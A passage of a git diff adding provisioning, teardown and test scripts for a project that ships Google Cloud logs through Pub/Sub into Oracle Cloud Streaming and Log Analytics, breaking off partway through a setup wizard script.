b/observability-and-management/assets/gcplogs2oci/images/gcp-setup-4.png new file mode 100644 index 000000000..61fa1e444 Binary files /dev/null and b/observability-and-management/assets/gcplogs2oci/images/gcp-setup-4.png differ diff --git a/observability-and-management/assets/gcplogs2oci/images/gcp-setup-5.png b/observability-and-management/assets/gcplogs2oci/images/gcp-setup-5.png new file mode 100644 index 000000000..4d4d4522e Binary files /dev/null and b/observability-and-management/assets/gcplogs2oci/images/gcp-setup-5.png differ diff --git a/observability-and-management/assets/gcplogs2oci/images/gcp-setup.png b/observability-and-management/assets/gcplogs2oci/images/gcp-setup.png new file mode 100644 index 000000000..a427d446f Binary files /dev/null and b/observability-and-management/assets/gcplogs2oci/images/gcp-setup.png differ diff --git a/observability-and-management/assets/gcplogs2oci/requirements.txt b/observability-and-management/assets/gcplogs2oci/requirements.txt new file mode 100644 index 000000000..704ec7790 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/requirements.txt @@ -0,0 +1,5 @@ +google-cloud-pubsub>=2.21.0 +google-cloud-logging>=3.10.0 +google-auth>=2.29.0 +oci>=2.124.0 +python-dotenv>=1.0.0 diff --git a/observability-and-management/assets/gcplogs2oci/scripts/destroy_gcp.sh b/observability-and-management/assets/gcplogs2oci/scripts/destroy_gcp.sh new file mode 100644 index 000000000..140a5fe43 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/destroy_gcp.sh @@ -0,0 +1,165 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# destroy_gcp.sh – Remove all GCP resources created by setup_gcp.sh +# +# Deletes (in reverse creation order): +# 1. Log Router Sink +# 2. Pub/Sub Subscription +# 3. Pub/Sub Topic +# 4. Service Account (and IAM bindings) +# 5. Local SA key file +# +# Usage: +# ./scripts/destroy_gcp.sh # interactive (with confirmation) +# ./scripts/destroy_gcp.sh --force # skip confirmation prompt +# ───────────────────────────────────────────────────────────── +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" + +FORCE=false +[[ "${1:-}" == "--force" ]] && FORCE=true + +# Load environment +if [ -f "$PROJECT_DIR/.env.local" ]; then + set -a; source "$PROJECT_DIR/.env.local"; set +a + echo "Loaded .env.local" +elif [ -f "$PROJECT_DIR/.env" ]; then + set -a; source "$PROJECT_DIR/.env"; set +a + echo "Loaded .env" +else + echo "ERROR: No .env.local or .env found. Copy .env.example to .env.local and fill in values." + exit 1 +fi + +# ── Interactive GCP project selection (same as setup_gcp.sh) ── +if [ -z "${GCP_PROJECT_ID:-}" ]; then + if [ -t 0 ]; then + echo "GCP_PROJECT_ID is not set. Detecting available projects..." + echo "" + mapfile -t PROJECTS < <(gcloud projects list --format='value(projectId)' --sort-by=projectId 2>/dev/null) + if [ ${#PROJECTS[@]} -eq 0 ]; then + echo "ERROR: No GCP projects found. Ensure gcloud is authenticated (gcloud auth login)." + exit 1 + fi + echo " Available GCP Projects:" + for i in "${!PROJECTS[@]}"; do + printf " %d) %s\n" "$((i+1))" "${PROJECTS[$i]}" + done + echo "" + while true; do + read -rp " Select a project [1-${#PROJECTS[@]}]: " choice + if [[ "$choice" =~ ^[0-9]+$ ]] && [ "$choice" -ge 1 ] && [ "$choice" -le "${#PROJECTS[@]}" ]; then + GCP_PROJECT_ID="${PROJECTS[$((choice-1))]}" + echo " Selected: $GCP_PROJECT_ID" + break + else + echo " Invalid selection. Enter a number between 1 and ${#PROJECTS[@]}." + fi + done + else + echo "ERROR: GCP_PROJECT_ID is required (set in .env.local or export it)." + exit 1 + fi +fi + +PROJECT="$GCP_PROJECT_ID" +TOPIC="${GCP_PUBSUB_TOPIC:-oci-log-export-topic}" +SUBSCRIPTION="${GCP_PUBSUB_SUBSCRIPTION:-fluentd-oci-bridge-sub}" +SINK_NAME="${GCP_LOG_SINK_NAME:-gcp-to-oci-sink}" +SA_NAME="${GCP_SA_NAME:-oci-log-shipper-sa}" +SA_EMAIL="${SA_NAME}@${PROJECT}.iam.gserviceaccount.com" +KEY_FILE="$PROJECT_DIR/gcp-sa-key.json" + +echo "" +echo "============================================================" +echo " GCP Destroy for gcplogs2oci" +echo "============================================================" +echo " Project: $PROJECT" +echo " Topic: $TOPIC" +echo " Subscription: $SUBSCRIPTION" +echo " Sink: $SINK_NAME" +echo " SA: $SA_EMAIL" +echo "============================================================" +echo "" + +# ── Confirmation ────────────────────────────────────────────── +if [ "$FORCE" = false ]; then + echo "WARNING: This will permanently delete the above GCP resources." + read -rp "Continue? [y/N]: " confirm + if [[ ! "$confirm" =~ ^[yY] ]]; then + echo "Aborted." + exit 0 + fi + echo "" +fi + +gcloud config set project "$PROJECT" + +DELETED=0 +SKIPPED=0 + +# ── 1. Delete Log Router Sink ───────────────────────────────── +echo "1/5 Deleting Log Router sink: $SINK_NAME" +if gcloud logging sinks describe "$SINK_NAME" &>/dev/null; then + gcloud logging sinks delete "$SINK_NAME" --quiet + echo " Deleted." + ((DELETED++)) +else + echo " Not found, skipping." + ((SKIPPED++)) +fi + +# ── 2. Delete Pub/Sub Subscription ──────────────────────────── +echo "2/5 Deleting Pub/Sub subscription: $SUBSCRIPTION" +if gcloud pubsub subscriptions describe "$SUBSCRIPTION" &>/dev/null; then + gcloud pubsub subscriptions delete "$SUBSCRIPTION" --quiet + echo " Deleted." + ((DELETED++)) +else + echo " Not found, skipping." + ((SKIPPED++)) +fi + +# ── 3. Delete Pub/Sub Topic ────────────────────────────────── +echo "3/5 Deleting Pub/Sub topic: $TOPIC" +if gcloud pubsub topics describe "$TOPIC" &>/dev/null; then + gcloud pubsub topics delete "$TOPIC" --quiet + echo " Deleted." + ((DELETED++)) +else + echo " Not found, skipping." + ((SKIPPED++)) +fi + +# ── 4. Delete Service Account ──────────────────────────────── +echo "4/5 Deleting service account: $SA_EMAIL" +if gcloud iam service-accounts describe "$SA_EMAIL" &>/dev/null; then + gcloud iam service-accounts delete "$SA_EMAIL" --quiet + echo " Deleted (IAM bindings removed automatically)." + ((DELETED++)) +else + echo " Not found, skipping." + ((SKIPPED++)) +fi + +# ── 5. Delete local key file ───────────────────────────────── +echo "5/5 Removing local SA key file: $KEY_FILE" +if [ -f "$KEY_FILE" ]; then + rm -f "$KEY_FILE" + echo " Removed." + ((DELETED++)) +else + echo " Not found, skipping." + ((SKIPPED++)) +fi + +echo "" +echo "============================================================" +echo " GCP Destroy Complete" +echo "============================================================" +echo " Deleted: $DELETED Skipped (not found): $SKIPPED" +echo "" +echo "To re-create resources, run: ./scripts/setup_gcp.sh" +echo "" diff --git a/observability-and-management/assets/gcplogs2oci/scripts/destroy_oci.sh b/observability-and-management/assets/gcplogs2oci/scripts/destroy_oci.sh new file mode 100644 index 000000000..595af9fa5 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/destroy_oci.sh @@ -0,0 +1,338 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# destroy_oci.sh – Remove all OCI resources created by setup_oci.sh +# +# Deletes (in dependency-safe order): +# 1. Connector Hub +# 2. Log Analytics Source +# 3. Log Analytics Parser + 40 custom fields (via Python SDK) +# 4. Log Analytics Log Group +# 5. Stream +# 6. Stream Pool +# +# Prerequisites: +# - oci CLI configured (oci setup config) +# - .env.local populated with OCI variables +# - Python 3 + oci-sdk (pip install oci) +# +# Usage: +# ./scripts/destroy_oci.sh # interactive (with confirmation) +# ./scripts/destroy_oci.sh --force # skip confirmation prompt +# ───────────────────────────────────────────────────────────── +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" + +FORCE=false +[[ "${1:-}" == "--force" ]] && FORCE=true + +# Load environment +if [ -f "$PROJECT_DIR/.env.local" ]; then + set -a; source "$PROJECT_DIR/.env.local"; set +a + echo "Loaded .env.local" +elif [ -f "$PROJECT_DIR/.env" ]; then + set -a; source "$PROJECT_DIR/.env"; set +a + echo "Loaded .env" +else + echo "ERROR: No .env.local or .env found." + exit 1 +fi + +COMPARTMENT="${OCI_COMPARTMENT_OCID:?OCI_COMPARTMENT_OCID is required}" +REGION="${OCI_REGION:?OCI_REGION is required}" + +STREAM_POOL_NAME="${OCI_STREAM_POOL_NAME:-MultiCloud_Log_Pool}" +STREAM_NAME="${OCI_STREAM_NAME:-gcp-inbound-stream}" +LOG_GROUP_NAME="${OCI_LOG_GROUP_NAME:-GCPLogs}" +NAMESPACE="${OCI_LOG_ANALYTICS_NAMESPACE:-}" +SCH_NAME="${OCI_SCH_NAME:-GCP-Stream-to-LogAnalytics}" + +PARSER_NAME="gcpCloudLoggingJsonParser" +SOURCE_NAME="GCP Cloud Logging Logs" + +# ── Auto-detect Log Analytics namespace ────────────────────── +if [ -z "$NAMESPACE" ]; then + echo "Detecting Log Analytics namespace..." + NAMESPACE=$(oci log-analytics namespace list \ + --compartment-id "$COMPARTMENT" \ + --query 'data.items[0]."namespace-name"' --raw-output 2>/dev/null || true) + if [ -z "$NAMESPACE" ] || [ "$NAMESPACE" = "null" ]; then + echo "WARNING: Could not detect Log Analytics namespace. Parser/field/source cleanup will be skipped." + NAMESPACE="" + else + echo " Namespace: $NAMESPACE" + fi +fi + +echo "" +echo "============================================================" +echo " OCI Destroy for gcplogs2oci" +echo "============================================================" +echo " Compartment: ${COMPARTMENT:0:30}..." +echo " Region: $REGION" +echo " Stream Pool: $STREAM_POOL_NAME" +echo " Stream: $STREAM_NAME" +echo " Log Group: $LOG_GROUP_NAME" +echo " SCH: $SCH_NAME" +echo " Parser: $PARSER_NAME" +echo " Source: $SOURCE_NAME" +echo "============================================================" +echo "" + +# ── Confirmation ────────────────────────────────────────────── +if [ "$FORCE" = false ]; then + echo "WARNING: This will permanently delete the above OCI resources." + read -rp "Continue? [y/N]: " confirm + if [[ ! "$confirm" =~ ^[yY] ]]; then + echo "Aborted." + exit 0 + fi + echo "" +fi + +DELETED=0 +SKIPPED=0 + +# ── 1. Delete Connector Hub ────────────────────────────────── +echo "1/7 Deleting Connector Hub: $SCH_NAME" +SCH_ID=$(oci sch service-connector list \ + --compartment-id "$COMPARTMENT" \ + --display-name "$SCH_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data.items[0].id' --raw-output 2>/dev/null || true) + +if [ -n "$SCH_ID" ] && [ "$SCH_ID" != "null" ] && [ "$SCH_ID" != "None" ]; then + oci sch service-connector delete \ + --service-connector-id "$SCH_ID" \ + --force \ + --wait-for-state DELETED \ + --max-wait-seconds 300 2>/dev/null || true + echo " Deleted: ${SCH_ID:0:50}..." + ((DELETED++)) +else + echo " Not found, skipping." + ((SKIPPED++)) +fi + +# ── 2. Delete Log Analytics Source ─────────────────────────── +echo "2/7 Deleting Log Analytics source: $SOURCE_NAME" +if [ -n "$NAMESPACE" ]; then + EXISTING_SOURCE=$(oci log-analytics source list-sources \ + --namespace-name "$NAMESPACE" \ + --compartment-id "$COMPARTMENT" \ + --name "$SOURCE_NAME" \ + --is-system ALL \ + --query 'data.items[0].name' --raw-output 2>/dev/null || true) + + if [ -n "$EXISTING_SOURCE" ] && [ "$EXISTING_SOURCE" != "null" ] && [ "$EXISTING_SOURCE" != "None" ]; then + oci log-analytics source delete-source \ + --namespace-name "$NAMESPACE" \ + --source-name "$EXISTING_SOURCE" \ + --force 2>/dev/null || true + echo " Deleted: $EXISTING_SOURCE" + ((DELETED++)) + else + echo " Not found, skipping." + ((SKIPPED++)) + fi +else + echo " Skipped (no namespace)." + ((SKIPPED++)) +fi + +# ── 3. Delete Log Analytics Parser + 4. Custom Fields ──────── +echo "3/7 Deleting Log Analytics parser: $PARSER_NAME" +echo "4/7 Deleting 40 custom Log Analytics fields..." +if [ -n "$NAMESPACE" ]; then + export LA_NAMESPACE="$NAMESPACE" + + python3 << 'PYEOF' +import oci, os, sys, json + +# Build OCI config from environment +key_file = os.environ.get("OCI_KEY_FILE") +key_content = os.environ.get("OCI_KEY_CONTENT") +if key_file: + import re + with open(os.path.expanduser(key_file)) as f: + raw = f.read() + begin = re.search(r"-----BEGIN [A-Z ]+-----", raw) + end = re.search(r"-----END [A-Z ]+-----", raw) + key_pem = raw[begin.start():end.end()] +elif key_content: + key_pem = key_content +else: + print("ERROR: Set OCI_KEY_FILE or OCI_KEY_CONTENT") + sys.exit(1) + +cfg = { + "user": os.environ["OCI_USER_OCID"], + "key_content": key_pem, + "pass_phrase": os.environ.get("OCI_KEY_PASSPHRASE", ""), + "fingerprint": os.environ["OCI_FINGERPRINT"], + "tenancy": os.environ["OCI_TENANCY_OCID"], + "region": os.environ["OCI_REGION"], +} + +namespace = os.environ["LA_NAMESPACE"] +client = oci.log_analytics.LogAnalyticsClient(cfg) + +# ── Delete parser ── +parser_deleted = False +try: + existing = client.get_parser(namespace, "gcpCloudLoggingJsonParser") + etag = existing.headers.get("etag") + client.delete_parser(namespace, "gcpCloudLoggingJsonParser", if_match=etag) + print(" Parser deleted: gcpCloudLoggingJsonParser") + parser_deleted = True +except oci.exceptions.ServiceError as e: + if e.status == 404: + print(" Parser not found, skipping.") + else: + print(f" Parser delete error: {e.message}") + +# ── Delete custom fields ── +field_display_names = [ + "Cloud Provider", + "GCP Insert ID", "GCP Log Name", "GCP Resource Type", "GCP Project ID", + "GCP Service Name", "GCP Method Name", "GCP Principal Email", "GCP Zone", "GCP Instance ID", + "GCP Trace ID", "GCP Span ID", "GCP Text Payload", + "GCP HTTP Method", "GCP HTTP URL", "GCP HTTP Status", "GCP HTTP Latency", "GCP HTTP Protocol", + "GCP HTTP Remote IP", "GCP HTTP Request Size", "GCP HTTP Response Size", "GCP HTTP Server IP", "GCP HTTP User Agent", + "GCP Operation ID", "GCP Source File", "GCP Source Line", "GCP Source Function", + "GCP Configuration Name", "GCP Location", "GCP Cloud Run Service", "GCP Revision Name", + "GCP Resource Name", "GCP Caller IP", "GCP Caller User Agent", + "GCP Receive Timestamp", + "GCP Subscription ID", "GCP Topic ID", "GCP Sink Name", "GCP Sink Destination", + "GCP Label Instance ID", +] + +deleted_fields = 0 +skipped_fields = 0 +for display_name in field_display_names: + try: + fields = client.list_fields(namespace, display_name_contains=display_name).data.items + found = False + for f in fields: + if f.display_name == display_name: + client.delete_field(namespace, f.name) + deleted_fields += 1 + found = True + break + if not found: + skipped_fields += 1 + except oci.exceptions.ServiceError as e: + if e.status == 409: + print(f" Field in use (cannot delete): {display_name}") + else: + skipped_fields += 1 + except Exception: + skipped_fields += 1 + +print(f" Fields deleted: {deleted_fields} skipped: {skipped_fields}") + +# Write counts for the outer shell +with open('/tmp/gcplogs2oci_destroy_counts.json', 'w') as f: + json.dump({"parser": 1 if parser_deleted else 0, "fields_deleted": deleted_fields, "fields_skipped": skipped_fields}, f) + +PYEOF + + # Read counts from Python + if [ -f /tmp/gcplogs2oci_destroy_counts.json ]; then + PARSER_COUNT=$(python3 -c "import json; d=json.load(open('/tmp/gcplogs2oci_destroy_counts.json')); print(d['parser'])") + FIELDS_DEL=$(python3 -c "import json; d=json.load(open('/tmp/gcplogs2oci_destroy_counts.json')); print(d['fields_deleted'])") + DELETED=$((DELETED + PARSER_COUNT + FIELDS_DEL)) + FIELDS_SKIP=$(python3 -c "import json; d=json.load(open('/tmp/gcplogs2oci_destroy_counts.json')); print(d['fields_skipped'])") + SKIPPED=$((SKIPPED + (1 - PARSER_COUNT) + FIELDS_SKIP)) + rm -f /tmp/gcplogs2oci_destroy_counts.json + fi +else + echo " Skipped (no namespace)." + SKIPPED=$((SKIPPED + 2)) +fi + +# ── 5. Delete Log Analytics Log Group ──────────────────────── +echo "5/7 Deleting Log Analytics Log Group: $LOG_GROUP_NAME" +if [ -n "$NAMESPACE" ]; then + LOG_GROUP_ID=$(oci log-analytics log-group list \ + --compartment-id "$COMPARTMENT" \ + --namespace-name "$NAMESPACE" \ + --query "data.items[?\"display-name\"=='$LOG_GROUP_NAME'].id | [0]" \ + --raw-output 2>/dev/null || true) + + if [ -n "$LOG_GROUP_ID" ] && [ "$LOG_GROUP_ID" != "null" ] && [ "$LOG_GROUP_ID" != "None" ]; then + oci log-analytics log-group delete \ + --namespace-name "$NAMESPACE" \ + --log-group-id "$LOG_GROUP_ID" \ + --force 2>/dev/null || true + echo " Deleted: ${LOG_GROUP_ID:0:50}..." + ((DELETED++)) + else + echo " Not found, skipping." + ((SKIPPED++)) + fi +else + echo " Skipped (no namespace)." + ((SKIPPED++)) +fi + +# ── 6. Delete Stream ───────────────────────────────────────── +echo "6/7 Deleting Stream: $STREAM_NAME" + +# Use OCI_STREAM_OCID if set, otherwise search by name +if [ -n "${OCI_STREAM_OCID:-}" ]; then + STREAM_ID="$OCI_STREAM_OCID" +else + STREAM_ID=$(oci streaming admin stream list \ + --compartment-id "$COMPARTMENT" \ + --name "$STREAM_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data[0].id' --raw-output 2>/dev/null || true) +fi + +if [ -n "$STREAM_ID" ] && [ "$STREAM_ID" != "null" ] && [ "$STREAM_ID" != "None" ]; then + oci streaming admin stream delete \ + --stream-id "$STREAM_ID" \ + --force \ + --wait-for-state DELETED \ + --max-wait-seconds 300 2>/dev/null || true + echo " Deleted: ${STREAM_ID:0:50}..." + ((DELETED++)) +else + echo " Not found, skipping." + ((SKIPPED++)) +fi + +# ── 7. Delete Stream Pool ─────────────────────────────────── +echo "7/7 Deleting Stream Pool: $STREAM_POOL_NAME" +POOL_ID=$(oci streaming admin stream-pool list \ + --compartment-id "$COMPARTMENT" \ + --name "$STREAM_POOL_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data[0].id' --raw-output 2>/dev/null || true) + +if [ -n "$POOL_ID" ] && [ "$POOL_ID" != "null" ] && [ "$POOL_ID" != "None" ]; then + oci streaming admin stream-pool delete \ + --stream-pool-id "$POOL_ID" \ + --force \ + --wait-for-state DELETED \ + --max-wait-seconds 300 2>/dev/null || true + echo " Deleted: ${POOL_ID:0:50}..." + ((DELETED++)) +else + echo " Not found, skipping." + ((SKIPPED++)) +fi + +# ── Cleanup ────────────────────────────────────────────────── +rm -f /tmp/gcplogs2oci_destroy_counts.json 2>/dev/null + +echo "" +echo "============================================================" +echo " OCI Destroy Complete" +echo "============================================================" +echo " Deleted: $DELETED Skipped (not found): $SKIPPED" +echo "" +echo "To re-create resources, run: ./scripts/setup_oci.sh" +echo "" diff --git a/observability-and-management/assets/gcplogs2oci/scripts/drain_pubsub_to_oci.sh b/observability-and-management/assets/gcplogs2oci/scripts/drain_pubsub_to_oci.sh new file mode 100644 index 000000000..fcec2d213 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/drain_pubsub_to_oci.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# drain_pubsub_to_oci.sh – Run the bridge in drain mode +# +# Pulls all pending messages from GCP Pub/Sub, forwards them to +# OCI Streaming, and exits after INACTIVITY_TIMEOUT seconds of +# silence. Useful for ad-hoc backfills and smoke tests. +# +# Usage: +# ./scripts/drain_pubsub_to_oci.sh +# ./scripts/drain_pubsub_to_oci.sh --log-level DEBUG +# ───────────────────────────────────────────────────────────── +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" + +cd "$PROJECT_DIR" + +# Activate venv if present +if [ -d ".venv/bin" ]; then + source .venv/bin/activate +fi + +echo "Starting bridge in drain mode..." +python -m bridge.main --drain "$@" diff --git a/observability-and-management/assets/gcplogs2oci/scripts/publish_test_message.py b/observability-and-management/assets/gcplogs2oci/scripts/publish_test_message.py new file mode 100644 index 000000000..8a8dd1870 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/publish_test_message.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python3 +""" +Publish sample GCP log messages to Pub/Sub for end-to-end testing. + +Usage: + # Publish a single test message + python scripts/publish_test_message.py + + # Publish N messages + python scripts/publish_test_message.py --count 10 + + # Publish a custom JSON payload + python scripts/publish_test_message.py --payload '{"msg": "hello"}' +""" + +import argparse +import json +import os +import sys +import time + +# Allow running from project root +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + +from bridge.config import gcp_project_id, gcp_topic, load_env + + +def sample_gcp_audit_log(index: int = 0) -> dict: + """Generate a realistic GCP audit log entry for testing.""" + return { + "insertId": f"test-{int(time.time())}-{index}", + "timestamp": time.strftime("%Y-%m-%dT%H:%M:%S.000Z", time.gmtime()), + "severity": "INFO", + "logName": f"projects/test-project/logs/cloudaudit.googleapis.com%2Factivity", + "resource": { + "type": "gce_instance", + "labels": { + "instance_id": "1234567890", + "project_id": "test-project", + "zone": "us-central1-a", + }, + }, + "protoPayload": { + "@type": "type.googleapis.com/google.cloud.audit.AuditLog", + "methodName": "v1.compute.instances.start", + "serviceName": "compute.googleapis.com", + "authenticationInfo": { + "principalEmail": "test-user@example.com", + }, + "status": {}, + }, + "labels": { + "instanceId": "1234567890", + }, + "jsonPayload": { + "message": f"Test audit log entry #{index} from gcplogs2oci publish_test_message.py", + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="Publish test messages to GCP Pub/Sub") + parser.add_argument("--count", type=int, default=1, help="Number of messages (default: 1)") + parser.add_argument("--payload", type=str, default=None, help="Custom JSON payload (overrides sample)") + args = parser.parse_args() + + load_env() + + from google.cloud import pubsub_v1 + + project_id = gcp_project_id() + topic_id = gcp_topic() + topic_path = f"projects/{project_id}/topics/{topic_id}" + + publisher = pubsub_v1.PublisherClient() + + print(f"Publishing {args.count} message(s) to {topic_path}...") + + futures = [] + for i in range(args.count): + if args.payload: + data = args.payload.encode("utf-8") + else: + data = json.dumps(sample_gcp_audit_log(i)).encode("utf-8") + + future = publisher.publish(topic_path, data=data) + futures.append(future) + + # Wait for all publishes to complete + for i, future in enumerate(futures): + message_id = future.result() + print(f" [{i+1}/{args.count}] Published message_id={message_id}") + + print(f"\nDone. Published {args.count} message(s) to {topic_path}") + + +if __name__ == "__main__": + main() diff --git a/observability-and-management/assets/gcplogs2oci/scripts/setup.sh b/observability-and-management/assets/gcplogs2oci/scripts/setup.sh new file mode 100644 index 000000000..66e8ba9e9 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/setup.sh @@ -0,0 +1,549 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# setup.sh – Unified end-to-end provisioning wizard +# +# Orchestrates the full GCP + OCI pipeline setup by checking +# prerequisites, probing existing resources, delegating to +# setup_gcp.sh / setup_oci.sh, validating credentials, and +# optionally running an end-to-end test. +# +# Usage: +# ./scripts/setup.sh # interactive wizard +# ./scripts/setup.sh --auto # non-interactive +# ./scripts/setup.sh --auto --skip-tests # non-interactive, no tests +# ./scripts/setup.sh --dry-run # show plan, change nothing +# ./scripts/setup.sh --auto --e2e # include end-to-end test +# ───────────────────────────────────────────────────────────── +set -uo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" + +# ── Step 0: Parse flags ────────────────────────────────────── +AUTO=false +SKIP_TESTS=false +DRY_RUN=false +FORCE=false +E2E=false + +while [ $# -gt 0 ]; do + case "$1" in + --auto) AUTO=true ;; + --skip-tests) SKIP_TESTS=true ;; + --dry-run) DRY_RUN=true ;; + --force) FORCE=true ;; + --e2e) E2E=true ;; + -h|--help) + echo "Usage: $0 [OPTIONS]" + echo "" + echo "Options:" + echo " --auto Non-interactive mode (skip confirmations, use defaults)" + echo " --skip-tests Skip credential validation and e2e test" + echo " --dry-run Show what would be done without executing" + echo " --force Pass --force to child scripts" + echo " --e2e Include end-to-end test (publish + drain)" + echo " -h, --help Show this help" + exit 0 + ;; + *) + echo "Unknown flag: $1 (use --help for usage)" + exit 1 + ;; + esac + shift +done + +# ── Color support ───────────────────────────────────────────── +if [ -t 1 ] && command -v tput &>/dev/null && [ "$(tput colors 2>/dev/null || echo 0)" -ge 8 ]; then + C_GREEN=$(tput setaf 2) + C_RED=$(tput setaf 1) + C_YELLOW=$(tput setaf 3) + C_DIM=$(tput dim) + C_BOLD=$(tput bold) + C_RESET=$(tput sgr0) +else + C_GREEN="" C_RED="" C_YELLOW="" C_DIM="" C_BOLD="" C_RESET="" +fi + +# ── Helpers ─────────────────────────────────────────────────── +TOTAL_STEPS=10 +ERRORS=0 + +step_header() { + local n="$1" title="$2" + echo "" + echo "${C_BOLD} [$n/$TOTAL_STEPS] $title${C_RESET}" + echo " ────────────────────────────────────────────────────" +} + +status_ok() { echo " ${C_GREEN}✓${C_RESET} $1"; } +status_fail() { echo " ${C_RED}✗${C_RESET} $1"; } +status_skip() { echo " ${C_DIM}–${C_RESET} $1"; } +status_warn() { echo " ${C_YELLOW}!${C_RESET} $1"; } + +ask_yn() { + local prompt="$1" default="${2:-n}" + if $AUTO; then + [[ "$default" =~ ^[yY] ]] && return 0 || return 1 + fi + local suffix + if [[ "$default" =~ ^[yY] ]]; then suffix="[Y/n]"; else suffix="[y/N]"; fi + read -rp " $prompt $suffix: " answer + answer="${answer:-$default}" + [[ "$answer" =~ ^[yY] ]] +} + +reload_env() { + if [ -f "$PROJECT_DIR/.env.local" ]; then + set -a; source "$PROJECT_DIR/.env.local"; set +a + elif [ -f "$PROJECT_DIR/.env" ]; then + set -a; source "$PROJECT_DIR/.env"; set +a + fi +} + +run_child() { + local script="$1" + shift + local args=("$@") + if $FORCE; then args+=(--force); fi + + if $DRY_RUN; then + echo " ${C_DIM}[dry-run] Would run: $script ${args[*]+"${args[*]}"}${C_RESET}" + return 0 + fi + + echo "" + if $AUTO; then + "$script" ${args[@]+"${args[@]}"} < /dev/null + else + "$script" ${args[@]+"${args[@]}"} + fi +} + +# ── Banner ──────────────────────────────────────────────────── +echo "" +echo "============================================================" +echo " gcplogs2oci – Unified Setup Wizard" +echo "============================================================" +flags="" +$AUTO && flags+="auto " +$DRY_RUN && flags+="dry-run " +$SKIP_TESTS && flags+="skip-tests " +$FORCE && flags+="force " +$E2E && flags+="e2e " +if [ -n "$flags" ]; then + echo " Flags: $flags" +fi +echo "" + +# ══════════════════════════════════════════════════════════════ +# [1/10] Check prerequisites +# ══════════════════════════════════════════════════════════════ +step_header 1 "Check prerequisites" + +PREREQ_FAIL=0 + +for tool in gcloud oci python3 jq; do + if command -v "$tool" &>/dev/null; then + ver="" + case "$tool" in + python3) ver="$(python3 --version 2>&1 | awk '{print $2}')" ;; + gcloud) ver="$(gcloud version 2>/dev/null | head -1 | awk '{print $NF}')" ;; + jq) ver="$(jq --version 2>/dev/null)" ;; + esac + status_ok "$tool${ver:+ ($ver)}" + else + status_fail "$tool – not installed" + ((PREREQ_FAIL++)) + fi +done + +if python3 -c "import oci" 2>/dev/null; then + status_ok "Python OCI SDK" +else + status_fail "Python OCI SDK – pip install oci" + ((PREREQ_FAIL++)) +fi + +if python3 -c "from google.cloud import pubsub_v1" 2>/dev/null; then + status_ok "Python GCP Pub/Sub SDK" +else + status_fail "Python GCP Pub/Sub SDK – pip install google-cloud-pubsub" + ((PREREQ_FAIL++)) +fi + +if [ "$PREREQ_FAIL" -gt 0 ]; then + echo "" + echo " ${C_RED}$PREREQ_FAIL prerequisite(s) missing. Install them and re-run.${C_RESET}" + exit 1 +fi + +# ══════════════════════════════════════════════════════════════ +# [2/10] Check / configure .env.local +# ══════════════════════════════════════════════════════════════ +step_header 2 "Check / configure .env.local" + +if [ -f "$PROJECT_DIR/.env.local" ]; then + status_ok ".env.local exists" +else + if [ -f "$PROJECT_DIR/.env.example" ]; then + if $DRY_RUN; then + echo " ${C_DIM}[dry-run] Would copy .env.example → .env.local${C_RESET}" + else + cp "$PROJECT_DIR/.env.example" "$PROJECT_DIR/.env.local" + status_ok "Copied .env.example → .env.local" + if ! $AUTO; then + echo "" + echo " ${C_YELLOW}Edit .env.local with your credentials, then re-run this script.${C_RESET}" + exit 0 + fi + fi + else + status_fail ".env.example not found – cannot bootstrap config" + exit 1 + fi +fi + +reload_env + +echo "" +echo " Key variables:" +for var in GCP_PROJECT_ID GCP_PUBSUB_TOPIC GCP_PUBSUB_SUBSCRIPTION \ + OCI_COMPARTMENT_OCID OCI_REGION OCI_STREAM_OCID; do + val="${!var:-}" + if [ -n "$val" ]; then + status_ok "$var" + else + status_warn "$var – not set" + fi +done + +# ══════════════════════════════════════════════════════════════ +# [3/10] Check GCP authentication +# ══════════════════════════════════════════════════════════════ +step_header 3 "Check GCP authentication" + +GCP_ACCOUNT="" +if command -v gcloud &>/dev/null; then + GCP_ACCOUNT=$(gcloud auth list --filter=status:ACTIVE --format='value(account)' 2>/dev/null || true) +fi + +if [ -n "$GCP_ACCOUNT" ]; then + status_ok "Authenticated as: $GCP_ACCOUNT" +else + status_fail "No active gcloud account (run: gcloud auth login)" + ((ERRORS++)) +fi + +# ══════════════════════════════════════════════════════════════ +# [4/10] Probe & provision GCP resources +# ══════════════════════════════════════════════════════════════ +step_header 4 "Probe & provision GCP resources" + +PROJECT="${GCP_PROJECT_ID:-}" +TOPIC="${GCP_PUBSUB_TOPIC:-oci-log-export-topic}" +SUBSCRIPTION="${GCP_PUBSUB_SUBSCRIPTION:-fluentd-oci-bridge-sub}" +SINK_NAME="${GCP_LOG_SINK_NAME:-gcp-to-oci-sink}" +SA_NAME="${GCP_SA_NAME:-oci-log-shipper-sa}" + +GCP_MISSING=0 + +if [ -z "$PROJECT" ]; then + status_fail "GCP_PROJECT_ID not set – cannot probe" + ((ERRORS++)) + GCP_MISSING=99 +else + gcloud config set project "$PROJECT" &>/dev/null 2>&1 || true + + if gcloud pubsub topics describe "$TOPIC" &>/dev/null 2>&1; then + status_ok "Pub/Sub Topic: $TOPIC" + else 